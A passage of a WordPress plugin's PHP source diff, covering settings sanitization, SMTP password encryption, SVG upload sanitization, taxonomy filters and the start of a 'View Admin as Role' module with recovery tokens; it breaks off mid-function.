if ( !isset( $options['heartbeat_interval_for_frontend'] ) ) {
$options['heartbeat_interval_for_frontend'] = 60;
}
$options['heartbeat_interval_for_frontend'] = ( !empty( $options['heartbeat_interval_for_frontend'] ) ? sanitize_text_field( $options['heartbeat_interval_for_frontend'] ) : 60 );
// SMTP Email Delivery
if ( !isset( $options['smtp_email_delivery'] ) ) {
$options['smtp_email_delivery'] = false;
}
$options['smtp_email_delivery'] = ( 'on' == $options['smtp_email_delivery'] ? true : false );
if ( !isset( $options['smtp_host'] ) ) {
$options['smtp_host'] = '';
}
$options['smtp_host'] = ( !empty( $options['smtp_host'] ) ? sanitize_text_field( $options['smtp_host'] ) : '' );
if ( !isset( $options['smtp_port'] ) ) {
$options['smtp_port'] = '';
}
$options['smtp_port'] = ( !empty( $options['smtp_port'] ) ? $options['smtp_port'] : '' );
if ( !isset( $options['smtp_security'] ) ) {
$options['smtp_security'] = 'none';
}
$options['smtp_security'] = ( !empty( $options['smtp_security'] ) ? $options['smtp_security'] : 'none' );
if ( !isset( $options['smtp_username'] ) ) {
$options['smtp_username'] = '';
}
$options['smtp_username'] = ( !empty( $options['smtp_username'] ) ? sanitize_text_field( $options['smtp_username'] ) : '' );
$existing_smtp_password = ( isset( $existing_options['smtp_password'] ) ? $existing_options['smtp_password'] : '' );
$submitted_smtp_password = ( isset( $options['smtp_password'] ) ? (string) $options['smtp_password'] : '' );
$reject_submitted_ciphertext = !empty( $submitted_smtp_password ) && method_exists( $email_delivery, 'is_probable_smtp_ciphertext' ) && $email_delivery->is_probable_smtp_ciphertext( $submitted_smtp_password );
if ( !empty( $submitted_smtp_password ) && !$reject_submitted_ciphertext ) {
$encrypted_smtp_password = \asenha_encrypt_smtp_password_compat( $email_delivery, $submitted_smtp_password );
$options['smtp_password'] = ( !empty( $encrypted_smtp_password ) ? $encrypted_smtp_password : $existing_smtp_password );
} elseif ( $reject_submitted_ciphertext ) {
$options['smtp_password'] = $existing_smtp_password;
} else {
$existing_smtp_password_status = \asenha_get_smtp_password_status_compat( $existing_smtp_password );
$existing_is_probable_ciphertext = method_exists( $email_delivery, 'is_probable_smtp_ciphertext' ) && $email_delivery->is_probable_smtp_ciphertext( $existing_smtp_password );
if ( 'legacy_plaintext' === $existing_smtp_password_status && !$existing_is_probable_ciphertext ) {
$encrypted_smtp_password = \asenha_encrypt_smtp_password_compat( $email_delivery, $existing_smtp_password );
$options['smtp_password'] = ( !empty( $encrypted_smtp_password ) ? $encrypted_smtp_password : $existing_smtp_password );
} else {
$options['smtp_password'] = $existing_smtp_password;
}
}
$saved_smtp_password_status = \asenha_get_smtp_password_status_compat( $options['smtp_password'] );
if ( 'encrypted_valid' === $saved_smtp_password_status ) {
$email_delivery->clear_smtp_password_unavailable_flag();
}
if ( empty( $options['smtp_email_delivery'] ) || isset( $options['smtp_authentication'] ) && 'enable' !== $options['smtp_authentication'] ) {
$email_delivery->clear_smtp_password_unavailable_flag();
}
if ( !isset( $options['smtp_default_from_name'] ) ) {
$options['smtp_default_from_name'] = '';
}
$options['smtp_default_from_name'] = ( !empty( $options['smtp_default_from_name'] ) ? sanitize_text_field( $options['smtp_default_from_name'] ) : '' );
if ( !isset( $options['smtp_default_from_email'] ) ) {
$options['smtp_default_from_email'] = '';
}
$options['smtp_default_from_email'] = ( !empty( $options['smtp_default_from_email'] ) ? sanitize_text_field( $options['smtp_default_from_email'] ) : '' );
if ( !isset( $options['smtp_default_from_description'] ) ) {
$options['smtp_default_from_description'] = '';
}
if ( !isset( $options['smtp_force_from'] ) ) {
$options['smtp_force_from'] = false;
}
$options['smtp_force_from'] = ( 'on' == $options['smtp_force_from'] ? true : false );
if ( !isset( $options['smtp_bypass_ssl_verification'] ) ) {
$options['smtp_bypass_ssl_verification'] = false;
}
$options['smtp_bypass_ssl_verification'] = ( 'on' == $options['smtp_bypass_ssl_verification'] ? true : false );
if ( !isset( $options['smtp_debug'] ) ) {
$options['smtp_debug'] = false;
}
$options['smtp_debug'] = ( 'on' == $options['smtp_debug'] ? true : false );
// Multiple User Roles
if ( !isset( $options['multiple_user_roles'] ) ) {
$options['multiple_user_roles'] = false;
}
$options['multiple_user_roles'] = ( 'on' == $options['multiple_user_roles'] ? true : false );
// Image Sizes Panel
if ( !isset( $options['image_sizes_panel'] ) ) {
$options['image_sizes_panel'] = false;
}
$options['image_sizes_panel'] = ( 'on' == $options['image_sizes_panel'] ? true : false );
// View Admin as Role
if ( !isset( $options['view_admin_as_role'] ) ) {
$options['view_admin_as_role'] = false;
}
$options['view_admin_as_role'] = ( 'on' == $options['view_admin_as_role'] ? true : false );
// Enable Password Protection
if ( !isset( $options['enable_password_protection'] ) ) {
$options['enable_password_protection'] = false;
}
$options['enable_password_protection'] = ( 'on' == $options['enable_password_protection'] ? true : false );
if ( !isset( $options['password_protection_password'] ) ) {
$options['password_protection_password'] = 'secret';
}
$options['password_protection_password'] = ( !empty( $options['password_protection_password'] ) ? $options['password_protection_password'] : 'secret' );
// Maintenance Mode
$maintenance_mode_was_enabled = !empty( $existing_options['maintenance_mode'] );
if ( !isset( $options['maintenance_mode'] ) ) {
$options['maintenance_mode'] = false;
}
$options['maintenance_mode'] = ( 'on' == $options['maintenance_mode'] ? true : false );
$maintenance_mode_just_enabled = $options['maintenance_mode'] && !$maintenance_mode_was_enabled;
if ( $options['maintenance_mode'] ) {
if ( empty( $options['maintenance_mode_bypass_key'] ) || $maintenance_mode_just_enabled ) {
$options['maintenance_mode_bypass_key'] = wp_hash_password( site_url() );
}
} else {
$options['maintenance_mode_bypass_key'] = '';
}
if ( !isset( $options['maintenance_page_heading'] ) ) {
$options['maintenance_page_heading'] = 'We\'ll be back soon.';
}
$options['maintenance_page_heading'] = ( !empty( $options['maintenance_page_heading'] ) ? sanitize_text_field( $options['maintenance_page_heading'] ) : 'We\'ll be back soon.' );
if ( !isset( $options['maintenance_page_description'] ) ) {
$options['maintenance_page_description'] = 'This site is undergoing maintenance for an extended period today. Thanks for your patience.';
}
$options['maintenance_page_description'] = ( !empty( $options['maintenance_page_description'] ) ? sanitize_text_field( $options['maintenance_page_description'] ) : 'This site is undergoing maintenance for an extended period today. Thanks for your patience.' );
if ( !isset( $options['maintenance_page_background'] ) ) {
$options['maintenance_page_background'] = 'stripes';
}
$options['maintenance_page_background'] = ( !empty( $options['maintenance_page_background'] ) ? $options['maintenance_page_background'] : 'stripes' );
if ( !isset( $options['maintenance_mode_description'] ) ) {
$options['maintenance_mode_description'] = '';
}
// Redirect 404 to Homepage
if ( !isset( $options['redirect_404_to_homepage'] ) ) {
$options['redirect_404_to_homepage'] = false;
}
$options['redirect_404_to_homepage'] = ( 'on' == $options['redirect_404_to_homepage'] ? true : false );
// Show System Summary in At a Glance Dashboard Widget
if ( !isset( $options['display_system_summary'] ) ) {
$options['display_system_summary'] = false;
}
$options['display_system_summary'] = ( 'on' == $options['display_system_summary'] ? true : false );
// Search Engines Visibility Status
if ( !isset( $options['search_engine_visibility_status'] ) ) {
$options['search_engine_visibility_status'] = false;
}
$options['search_engine_visibility_status'] = ( 'on' == $options['search_engine_visibility_status'] ? true : false );
return $options;
}
/**
* Sanitize checkbox field. For reference purpose. Not currently in use.
*
* @since 1.0.0
*/
function asenha_sanitize_checkbox_field( $value ) {
// A checked checkbox field will originally be saved as an 'on' value in the option. We transform that into true (shown as 1) or false (shown as empty value)
return ( 'on' === $value ? true : false );
}
}
@@ -0,0 +1,71 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Show Custom Taxonomy Filters module
*
* @since 6.9.5
*/
class Show_Custom_Taxonomy_Filters {
// Excluded taxonomies
private $inapplicable_taxonomies = array(
'category',
// Post Categories
'product_cat',
// WooCommerce Product Categories
'asenha_code_snippet_category',
// ASE Code Snippets Categories
'asenha-media-category',
);
/**
* Show custom (hierarchical) taxonomy filter(s) for all post types.
*
* @since 1.0.0
*/
public function show_custom_taxonomy_filters( $post_type ) {
$object_taxonomies = get_object_taxonomies( $post_type, 'objects' );
array_walk( $object_taxonomies, [$this, 'output_taxonomy_filter'] );
}
/**
* Output filter on the post type's list table for a taxonomy
*
* @since 1.0.0
*/
public function output_taxonomy_filter( $taxonomy ) {
// Show filter if taxonomy is hierarchical
if ( true === $taxonomy->hierarchical && !in_array( $taxonomy->name, $this->inapplicable_taxonomies ) ) {
$this->render_additional_filter( $taxonomy );
}
}
/**
* Render additional filter
*
* @since 6.9.7
*/
public function render_additional_filter( $taxonomy ) {
$show_option_all_label = sprintf( 'All %s', ucwords( $taxonomy->label ) );
if ( property_exists( $taxonomy, 'labels' ) ) {
$taxonomy_labels = $taxonomy->labels;
if ( property_exists( $taxonomy_labels, 'all_items' ) && !empty( $taxonomy_labels->all_items ) ) {
$show_option_all_label = $taxonomy->labels->all_items;
}
}
wp_dropdown_categories( array(
'show_option_all' => $show_option_all_label,
'orderby' => 'name',
'order' => 'ASC',
'hide_empty' => false,
'hide_if_empty' => true,
'selected' => sanitize_text_field( ( isset( $_GET[$taxonomy->query_var] ) && !empty( $_GET[$taxonomy->query_var] ) ? sanitize_text_field( $_GET[$taxonomy->query_var] ) : '' ) ),
'hierarchical' => true,
'name' => $taxonomy->query_var,
'taxonomy' => $taxonomy->name,
'value_field' => 'slug',
) );
}
}
@@ -0,0 +1,41 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Site Identity on Login Page module
*
* @since 6.9.5
*/
class Site_Identity_On_Login_Page {
/**
* Use site icon as the login page icon, the one on top of the login form
*
* @link https://plugins.trac.wordpress.org/browser/login-site-icon/trunk/login-site-icon.php
* @since 6.0.0
*/
public function use_site_icon_on_login() {
if ( has_site_icon() ) {
?>
<style type="text/css">
.login h1 a,
.login h1.wp-login-logo a {
background-image: url('<?php site_icon_url( 180 ); ?>');
}
</style>
<?php
}
}
/**
* Use site icon URL as a link on the login page icon
*
* @link https://plugins.trac.wordpress.org/browser/login-site-icon/trunk/login-site-icon.php
* @since 6.0.0
*/
public function use_site_url_on_login() {
return get_site_url();
}
}
@@ -0,0 +1,297 @@
<?php
namespace ASENHA\Classes;
/**
* Class for SVG Upload module
*
* @since 6.9.5
*/
class SVG_Upload {
/**
* Add SVG mime type for media library uploads
*
* @link https://developer.wordpress.org/reference/hooks/upload_mimes/
* @since 2.6.0
*/
public function add_svg_mime( $mimes ) {
global $roles_svg_upload_enabled;
$current_user = wp_get_current_user();
$current_user_roles = (array) $current_user->roles; // single dimensional array of role slugs
if ( count( $roles_svg_upload_enabled ) > 0 ) {
// Add mime type for user roles set to enable SVG upload
foreach ( $current_user_roles as $role ) {
if ( in_array( $role, $roles_svg_upload_enabled ) ) {
$mimes['svg'] = 'image/svg+xml';
}
}
}
return $mimes;
}
/**
* Check and confirm if the real file type is indeed SVG
*
* @link https://developer.wordpress.org/reference/functions/wp_check_filetype_and_ext/
* @since 2.6.0
*/
public function confirm_file_type_is_svg( $filetypes_extensions, $file, $filename, $mimes ) {
global $roles_svg_upload_enabled;
$current_user = wp_get_current_user();
$current_user_roles = (array) $current_user->roles; // single dimensional array of role slugs
if ( count( $roles_svg_upload_enabled ) > 0 ) {
// Check file extension
if ( substr( $filename, -4 ) == '.svg' ) {
// Add mime type for user roles set to enable SVG upload
foreach ( $current_user_roles as $role ) {
if ( in_array( $role, $roles_svg_upload_enabled ) ) {
$filetypes_extensions['type'] = 'image/svg+xml';
$filetypes_extensions['ext'] = 'svg';
}
}
}
}
return $filetypes_extensions;
}
/**
* Sanitize the SVG file and maybe allow upload based on the result
*
* @since 2.6.0
*/
public function sanitize_and_maybe_allow_svg_upload( $file ) {
if ( ! isset( $file['tmp_name'] ) ) {
return $file;
}
$file_tmp_name = $file['tmp_name']; // full path
$file_name = isset( $file['name'] ) ? $file['name'] : '';
$file_type_ext = wp_check_filetype_and_ext( $file_tmp_name, $file_name );
$file_type = ! empty( $file_type_ext['type'] ) ? $file_type_ext['type'] : '';
if ( 'image/svg+xml' === $file_type ) {
$original_svg = file_get_contents( $file_tmp_name );
$sanitizer = $this->get_svg_sanitizer();
$sanitized_svg = $sanitizer->sanitize( $original_svg ); // boolean
if ( false === $sanitized_svg ) {
$file['error'] = 'This SVG file could not be sanitized, so, was not uploaded for security reasons.';
}
file_put_contents( $file_tmp_name, $sanitized_svg );
}
return $file;
}
/**
* Sanitize SVG upload via xmlrpc.php
*
* @link https://developer.wordpress.org/reference/hooks/xmlrpc_prepare_media_item/
* @since 7.9.8
*/
public function sanitize_xmlrpc_svg_upload( $_media_item, $media_item ) {
if ( is_object( $media_item ) ) {
if ( property_exists( $media_item, 'ID' ) ) {
$file_path = get_attached_file( $media_item->ID );
$original_svg = file_get_contents( $file_path );
$sanitizer = $this->get_svg_sanitizer();
$sanitized_svg = $sanitizer->sanitize( $original_svg ); // boolean
if ( false !== $sanitized_svg ) {
// Sanitization was a success, let's write the result back to the file
file_put_contents( $file_path, $sanitized_svg );
}
}
}
return $_media_item;
}
/**
* Sanitize a file after it is added to the media library, e.g. via REST API POST request
*
* @since 7.5.2
*/
public function sanitize_after_upload( $attachment, $request, $creating ) {
// Let's sanitize SVG upon creation/insertion in the media library.
if ( $creating ) {
if ( $attachment instanceof WP_Post ) {
$file_path = get_attached_file( $attachment->ID );
$original_svg = file_get_contents( $file_path );
$sanitizer = $this->get_svg_sanitizer();
$sanitized_svg = $sanitizer->sanitize( $original_svg ); // boolean
if ( false !== $sanitized_svg ) {
// Sanitization was a success, let's write the result back to the file
file_put_contents( $file_path, $sanitized_svg );
}
}
}
}
/**
* Get sanitizer object
*
* @since 7.5.2
*/
public function get_svg_sanitizer() {
if ( ! class_exists( '\enshrined\svgSanitize\Sanitizer' ) ) {
// Load sanitizer library - https://github.com/darylldoyle/svg-sanitizer
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/data/AttributeInterface.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/data/TagInterface.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/data/AllowedAttributes.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/data/AllowedTags.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/data/XPath.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/ElementReference/Resolver.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/ElementReference/Subject.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/ElementReference/Usage.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/Exceptions/NestingException.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/Helper.php';
require_once ASENHA_PATH . 'vendor/enshrined/svg-sanitize/src/Sanitizer.php';
}
// $sanitizer = new Sanitizer();
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
return $sanitizer;
}
/**
* Generate metadata for the svg attachment
*
* @link https://developer.wordpress.org/reference/functions/wp_generate_attachment_metadata/
* @since 2.6.0
*/
public function generate_svg_metadata( $metadata, $attachment_id, $context ) {
if ( get_post_mime_type( $attachment_id ) == 'image/svg+xml' ) {
// Get SVG intrinsic dimensions (prefer viewBox when width/height are %).
$svg_path = get_attached_file( $attachment_id );
$common_methods = new Common_Methods;
$dims = $common_methods->get_svg_intrinsic_dimensions_from_file( $svg_path );
$metadata['width'] = isset( $dims['width'] ) ? absint( $dims['width'] ) : 0;
$metadata['height'] = isset( $dims['height'] ) ? absint( $dims['height'] ) : 0;
// Get SVG filename
$svg_url = wp_get_original_image_url( $attachment_id );
$svg_url_path = str_replace( wp_upload_dir()['baseurl'] .'/' , '', $svg_url );
$metadata['file'] = $svg_url_path;
}
return $metadata;
}
/**
* Remove responsive image attributes, i.e. srcset attributes, from SVG images HTML
* This helps ensure SVGs are displayed properly on the frontend
*
* @link https://plugins.trac.wordpress.org/browser/svg-support/tags/2.5.7/functions/attachment.php#L282
* @since 7.3.0
*/
public function disable_svg_srcset( $sources ) {
$first_element = reset( $sources );
if ( isset( $first_element ) && ! empty( $first_element['url'] ) ) {
$extension = pathinfo( reset($sources)['url'], PATHINFO_EXTENSION );
if ( 'svg' === $extension ) {
$sources = array(); // return empty array
return $sources;
} else {
return $sources;
}
} else {
return $sources;
}
}
/**
* Remove responsive image attributes, i.e. srcset attributes, from SVG images HTML
* This helps ensure SVGs are displayed properly on the frontend
*
* @link https://gist.github.com/ericvalois/5b1e161c127632a1ace7d65ce1363e69
* @since 7.3.0
*/
public function remove_svg_responsive_image_attr( string $sizes, $size, $image_src = null ) {
$explode = explode( '.', $image_src );
$extension = end( $explode );
if( 'svg' === $extension ){
$sizes = '';
}
return $sizes;
}
/**
* Return svg file URL to show preview in media library
*
* @link https://developer.wordpress.org/reference/hooks/wp_ajax_action/
* @link https://developer.wordpress.org/reference/functions/wp_get_attachment_url/
* @since 2.6.0
*/
public function get_svg_attachment_url() {
$attachment_url = '';
$attachment_id = isset( $_REQUEST['attachmentID'] ) ? $_REQUEST['attachmentID'] : '';
// Check response mime type
if ( $attachment_id ) {
echo esc_url( wp_get_attachment_url( $attachment_id ) );
die();
}
}
/**
* Return svg file URL to show preview in media library
*
* @link https://developer.wordpress.org/reference/functions/wp_prepare_attachment_for_js/
* @since 2.6.0
*/
public function get_svg_url_in_media_library( $response ) {
// Check response mime type
if ( $response['mime'] === 'image/svg+xml' ) {
$response['image'] = array(
'src' => $response['url'],
);
}
return $response;
}
}
@@ -0,0 +1,53 @@
<?php
namespace ASENHA\Classes;
/**
* Class for Various Admin UI Enhancements module
*
* @since 7.0.2
*/
class Various_Admin_Ui_Enhancements {
/**
* Custom sort on the plugins listing to show active plugins first
*
* @link https://plugins.trac.wordpress.org/browser/display-active-plugins-first/tags/1.1/display-active-plugins-first.php
* @since 6.7.0
*/
public function show_active_plugins_first() {
global $wp_list_table, $status;
if ( !in_array( $status, array(
'active',
'inactive',
'recently_activated',
'mustuse'
), true ) ) {
if ( is_array( $wp_list_table->items ) ) {
uksort( $wp_list_table->items, array($this, 'plugins_order_callback') );
}
}
}
/**
* Reorder plugins list to show active ones first
*
* @link https://plugins.trac.wordpress.org/browser/display-active-plugins-first/tags/1.1/display-active-plugins-first.php
* @since 6.7.0
*/
public function plugins_order_callback( $a, $b ) {
global $wp_list_table;
$items = $wp_list_table->items;
$a_active = is_plugin_active( $a );
$b_active = is_plugin_active( $b );
if ( $a_active && !$b_active ) {
return -1;
} elseif ( !$a_active && $b_active ) {
return 1;
} else {
if ( isset( $items[$a] ) && isset( $items[$b] ) ) {
return strcasecmp( $items[$a]['Name'], $items[$b]['Name'] );
}
}
}
}
@@ -0,0 +1,868 @@
<?php
namespace ASENHA\Classes;
/**
* Class for View Admin as Role module
*
* @since 6.9.5
*/
class View_Admin_As_Role {
/**
* User meta key for hashed recovery token.
*
* @var string
*/
const RESET_TOKEN_META_KEY = '_asenha_view_admin_as_reset_token';
/**
* User meta key for plain recovery token (settings display only).
*
* @var string
*/
const PLAIN_TOKEN_META_KEY = '_asenha_view_admin_as_reset_plain';
/**
* Transient key prefix for displaying recovery URL after switching roles.
*
* @var string
*/
const RECOVERY_URL_TRANSIENT_PREFIX = 'asenha_view_admin_as_recovery_';
/**
* Query argument for lockout recovery URL.
*
* @var string
*/
const RECOVERY_QUERY_ARG = 'asenha-role-reset';
/**
* User meta key for pending recovery URL refreshed admin notice.
*
* @var string
*/
const RECOVERY_NOTICE_URL_META_KEY = '_asenha_view_admin_as_recovery_notice_url';
/**
* Whether the current request is performing a plugin-initiated role switch.
*
* @var bool
*/
private static $is_internal_role_switch = false;
/**
* Add menu bar item to view admin as one of the user roles
*
* @param $wp_admin_bar The WP_Admin_Bar instance
* @link https://developer.wordpress.org/reference/hooks/admin_bar_menu/
* @link https://developer.wordpress.org/reference/classes/wp_admin_bar/
* @since 1.8.0
*/
public function view_admin_as_admin_bar_menu( $wp_admin_bar ) {
$options = get_option( ASENHA_SLUG_U, array() );
$usernames = isset( $options['viewing_admin_as_role_are'] ) ? $options['viewing_admin_as_role_are'] : array();
$current_user = wp_get_current_user();
$current_user_roles = array_values( $current_user->roles ); // indexed array
$current_user_username = $current_user->user_login;
// Get which role slug is currently set to "View as"
$viewing_admin_as = get_user_meta( get_current_user_id(), '_asenha_viewing_admin_as', true );
if ( empty( $viewing_admin_as ) ) {
update_user_meta( get_current_user_id(), '_asenha_viewing_admin_as', 'administrator' );
}
// Get the role name, translated if available, from the role slug
$wp_roles = wp_roles()->roles;
foreach ( $wp_roles as $wp_role_slug => $wp_role_info ) {
if ( $wp_role_slug == $viewing_admin_as ) {
$viewing_admin_as_role_name = $wp_role_info['name'];
}
}
if ( ! isset( $viewing_admin_as_role_name ) ) {
$viewing_admin_as_role_name = $viewing_admin_as;
}
$translated_name_for_viewing_admin_as = ucfirst( $viewing_admin_as_role_name );
// Add parent menu based on the role being set to "View as"
if ( 'administrator' == $viewing_admin_as ) {
if ( in_array( 'administrator', $current_user_roles ) ) {
// Add parent menu for administrators
$wp_admin_bar->add_menu( array(
'id' => 'asenha-view-admin-as-role',
'parent' => 'top-secondary',
'title' => 'View as <span style="font-size:0.8125em;">&#9660;</span>',
'href' => '#',
'meta' => array(
'title' => 'View admin pages and the site (logged-in) as one of the following user roles.'
),
) );
}
} else {
// Limit to users performing role switching only. i.e. Don't show role switcher to regularly logging in users.
if ( in_array( $current_user_username, $usernames ) ) {
// Add parent menu
$wp_admin_bar->add_menu( array(
'id' => 'asenha-view-admin-as-role',
'parent' => 'top-secondary',
'title' => 'Viewing as ' . $translated_name_for_viewing_admin_as . ' <span style="font-size:0.8125em;">&#9660;</span>',
'href' => '#',
) );
}
}
// Get available role(s) to switch to
$roles_to_switch_to = $this->get_roles_to_switch_to();
// Add role(s) to switch to as sub-menu
if ( 'administrator' == $viewing_admin_as ) {
if ( in_array( 'administrator', $current_user_roles ) ) {
// Add submenu for each role other than Administrator
$i = 1;
foreach ( $roles_to_switch_to as $role_slug => $data ) {
$wp_admin_bar->add_menu( array(
'id' => 'role' . $i . '_' . $role_slug, // id based on role slug, e.g. role1_editor, role5_shop_manager
'parent' => 'asenha-view-admin-as-role',
'title' => $data['role_name'], // role name, e.g. Editor, Shop Manager
'href' => $data['nonce_url'], // nonce URL for each role
) );
$i++;
}
}
} else {
// Add submenu to switch back to Administrator role
// Limit to users performing role switching only. i.e. Don't show role switcher to regularly logging in users.
if ( in_array( $current_user_username, $usernames ) ) {
foreach ( $roles_to_switch_to as $role_slug => $data ) {
$wp_admin_bar->add_menu( array(
'id' => 'role_' . $role_slug, // id based on role slug, e.g. role1_editor, role5_shop_manager
'parent' => 'asenha-view-admin-as-role',
'title' => 'Switch back to ' . $data['role_name'], // role name, e.g. Editor, Shop Manager
'href' => $data['nonce_url'], // nonce URL for each role
) );
}
}
}
}
/**
* Get roles availble to switch to
*
* @since 1.8.0
*/
private function get_roles_to_switch_to() {
$current_user = wp_get_current_user();
$current_user_role_slugs = $current_user->roles; // indexed array of current user role slug(s)
// Get full list of roles defined in WordPress
$wp_roles = wp_roles()->roles;
$roles_to_switch_to = array();
// Get which role slug is currently active for viewing
$viewing_admin_as = get_user_meta( get_current_user_id(), '_asenha_viewing_admin_as', true );
if ( 'administrator' == $viewing_admin_as ) {
// Exclude 'Administrator' from the "View as" menu
foreach ( $wp_roles as $wp_role_slug => $wp_role_info ) {
if ( ! in_array( $wp_role_slug,$current_user_role_slugs ) ) {
$roles_to_switch_to[$wp_role_slug] = array(
'role_name' => $wp_role_info['name'], // role name, e.g. Editor, Shop Manager
'nonce_url' => wp_nonce_url(
add_query_arg( array(
'action' => 'switch_role_to',
'role' => $wp_role_slug,
) ), // add query parameters to current URl, this is the $actionurl that will be appended with the nonce action
'asenha_view_admin_as_' . $wp_role_slug, // the nonce $action name
'nonce' // the nonce url parameter name
) // will result in a URL that looks like https://www.example.com/wp-admin/index.php?action=switch_role_to&role=editor&nonce=2ced3a40df
);
}
}
} else {
// Only show switch back to Administrator in the "View as" menu
$roles_to_switch_to['administrator'] = array(
'role_name' => 'Administrator', // role name, e.g. Editor, Shop Manager
'nonce_url' => wp_nonce_url(
add_query_arg( array(
'action' => 'switch_back_to_administrator',
'role' => 'administrator',
) ), // add query parameters to current URl, this is the $actionurl that will be appended with the nonce action
'asenha_view_admin_as_administrator', // the nonce $action name
'nonce' // the nonce url parameter name
) // will result in a URL that looks like https://www.example.com/wp-admin/index.php?action=switch_role_to&role=editor&nonce=2ced3a40df
);
}
return $roles_to_switch_to; // array of $role_slug => $nonce_url
}
/**
* Get the nonce URL for switching back to the administrator role.
*
* @since 8.8.5
* @return string
*/
private function get_switch_back_nonce_url() {
return wp_nonce_url(
add_query_arg(
array(
'action' => 'switch_back_to_administrator',
'role' => 'administrator',
)
),
'asenha_view_admin_as_administrator',
'nonce'
);
}
/**
* Generate and store a hashed recovery token for lockout recovery.
*
* @since 8.8.5
* @param int $user_id User ID.
* @return string Plain recovery token for URL construction.
*/
private function generate_recovery_token( $user_id ) {
$plain_token = wp_generate_password( 43, false, false );
update_user_meta( $user_id, self::RESET_TOKEN_META_KEY, wp_hash_password( $plain_token ) );
update_user_meta( $user_id, self::PLAIN_TOKEN_META_KEY, $plain_token );
set_transient( self::RECOVERY_URL_TRANSIENT_PREFIX . $user_id, $plain_token, DAY_IN_SECONDS );
return $plain_token;
}
/**
* Return an existing recovery token or generate one for the current admin.
*
* @since 8.8.5
* @param int $user_id User ID.
* @return string Plain recovery token, or empty string when not allowed.
*/
public function ensure_recovery_token( $user_id ) {
$user_id = (int) $user_id;
if ( $user_id <= 0 || $user_id !== get_current_user_id() || ! current_user_can( 'manage_options' ) ) {
return '';
}
$options = get_option( ASENHA_SLUG_U, array() );
if ( empty( $options['view_admin_as_role'] ) ) {
return '';
}
$plain_token = get_user_meta( $user_id, self::PLAIN_TOKEN_META_KEY, true );
if ( ! empty( $plain_token ) && is_string( $plain_token ) && $this->verify_reset_token( $user_id, $plain_token ) ) {
return $plain_token;
}
return $this->generate_recovery_token( $user_id );
}
/**
* Verify a submitted recovery token for a user.
*
* @since 8.8.5
* @param int $user_id User ID.
* @param string $token Plain recovery token.
* @return bool
*/
private function verify_reset_token( $user_id, $token ) {
if ( empty( $token ) || ! is_numeric( $user_id ) || $user_id <= 0 ) {
return false;
}
$stored_hash = get_user_meta( $user_id, self::RESET_TOKEN_META_KEY, true );
if ( empty( $stored_hash ) || ! is_string( $stored_hash ) ) {
return false;
}
return wp_check_password( $token, $stored_hash, $user_id );
}
/**
* Build the lockout recovery URL for a plain token.
*
* @since 8.8.5
* @param string $plain_token Plain recovery token.
* @return string
*/
public function get_recovery_url_for_token( $plain_token ) {
return add_query_arg(
self::RECOVERY_QUERY_ARG,
rawurlencode( $plain_token ),
site_url( '/' )
);
}
/**
* Get the recovery URL to display on the settings screen for the current user.
*
* @since 8.8.5
* @param int $user_id User ID.
* @return string Recovery URL or instructional text.
*/
public function get_recovery_url_for_settings( $user_id ) {
$plain_token = $this->ensure_recovery_token( $user_id );
if ( ! empty( $plain_token ) ) {
return $this->get_recovery_url_for_token( $plain_token );
}
return __( 'Enable this module to generate your secret recovery URL.', 'admin-site-enhancements' );
}
/**
* Find a user ID in the allowlist that matches a recovery token.
*
* @since 8.8.5
* @param string $token Plain recovery token.
* @return int User ID or 0 when not found.
*/
private function get_user_id_by_reset_token( $token ) {
$options = get_option( ASENHA_SLUG_U, array() );
$usernames = isset( $options['viewing_admin_as_role_are'] ) ? $options['viewing_admin_as_role_are'] : array();
if ( empty( $usernames ) || ! is_array( $usernames ) ) {
return 0;
}
foreach ( $usernames as $username ) {
$user = get_user_by( 'login', $username );
if ( ! $user ) {
continue;
}
if ( $this->verify_reset_token( $user->ID, $token ) ) {
return (int) $user->ID;
}
}
return 0;
}
/**
* Restore a user's original roles and clear recovery state.
*
* @since 8.8.5
* @param \WP_User $user User object.
* @return bool
*/
private function restore_original_roles_for_user( $user ) {
if ( ! $user instanceof \WP_User ) {
return false;
}
$current_user_role_slugs = $user->roles;
$original_role_slugs = get_user_meta( $user->ID, '_asenha_view_admin_as_original_roles', true );
if ( empty( $original_role_slugs ) || ! is_array( $original_role_slugs ) ) {
return false;
}
self::$is_internal_role_switch = true;
foreach ( $current_user_role_slugs as $current_role_slug ) {
$user->remove_role( $current_role_slug );
}
foreach ( $original_role_slugs as $original_role_slug ) {
$user->add_role( $original_role_slug );
}
self::$is_internal_role_switch = false;
update_user_meta( $user->ID, '_asenha_viewing_admin_as', 'administrator' );
$this->clear_view_admin_as_recovery_state( $user->ID );
return true;
}
/**
* Redirect to the login page after a token-based recovery.
*
* @since 8.8.5
* @return void
*/
private function redirect_after_token_recovery() {
$options = get_option( ASENHA_SLUG_U, array() );
if ( array_key_exists( 'change_login_url', $options ) && $options['change_login_url'] ) {
if ( array_key_exists( 'custom_login_slug', $options ) && ! empty( $options['custom_login_slug'] ) ) {
$login_url = get_site_url( null, $options['custom_login_slug'] );
}
}
if ( empty( $login_url ) ) {
$login_url = wp_login_url();
}
?>
<script>
window.location.href='<?php echo esc_url( $login_url ); ?>';
</script>
<?php
exit;
}
/**
* Switch user role to view admin and site
*
* @since 1.8.0
*/
public function role_switcher_to_view_admin_as() {
$current_user = wp_get_current_user();
$current_user_role_slugs = $current_user->roles; // indexed array of current user role slug(s)
$current_user_username = $current_user->user_login;
$options = get_option( ASENHA_SLUG_U, array() );
$usernames = isset( $options['viewing_admin_as_role_are'] ) ? $options['viewing_admin_as_role_are'] : array();
if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['role'] ) && isset( $_REQUEST['nonce'] ) ) {
$action = sanitize_text_field( wp_unslash( $_REQUEST['action'] ) );
$new_role = sanitize_text_field( wp_unslash( $_REQUEST['role'] ) );
